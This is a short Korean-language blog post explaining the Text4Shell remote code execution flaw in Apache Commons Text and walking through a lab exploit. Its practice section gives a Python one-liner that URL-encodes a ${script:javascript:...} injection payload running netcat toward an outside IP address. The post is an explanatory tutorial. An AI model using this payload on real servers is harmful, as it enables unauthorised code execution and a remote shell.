DEV Community

Se-ok Jeon
Se-ok Jeon

Posted on • Updated on

Text4Shell

Text4Shell

Text4Shell은 Apache Commons Text 라이브러리를 사용한 문자열 검색 만으로 원격 코드 실행(RCE) 공격을 할 수 있는 치명적인 취약점입니다.

용어

왜 Text4Shell인가?

Text4Shell은 쉘을 얻기 위해 텍스트를 이용한다는 의미로, 단순한 문자열 검색만으로 쉘을 획득할 수 있다는 것을 나타냅니다.

취약점 공격 과정

  1. 취약한 라이브러리를 사용하는 페이지를 탐색합니다.
  2. 리버스 쉘을 준비합니다.
  3. URL 인코딩을 수행합니다.
  4. URL 인젝션을 진행합니다.
  5. 쉘을 획득합니다.

URL 인코딩

URL 인코딩은 URL에서 사용할 수 없는 문자를 안전하게 변환하기 위해 문자를 퍼센트 기호(%)와 해당 문자의 ASCII 값을 조합하여 표현하는 방식입니다. 이 과정은 URL에 포함된 특수 문자나 공백 등을 처리하기 위해 필요합니다.

URL 인젝션

URL 인젝션은 공격자가 악의적인 코드나 데이터를 URL에 삽입하여 서버의 취약점을 이용해 원치 않는 동작을 유발하는 공격 기법입니다. 이 기법을 통해 공격자는 서버에서 코드 실행을 유도할 수 있습니다.

실습

  1. URL 인코딩

    >>> import urllib.parse
    >>> urllib.parse.quote("${script:javascript:java.lang.Runtime.getRuntime().exec('nc 10.233.21.155 9001 -e whoami')}")
    
  2. URL 인젝션
    Injection succeed

  3. Shell acquired
    Shell

Top comments (0)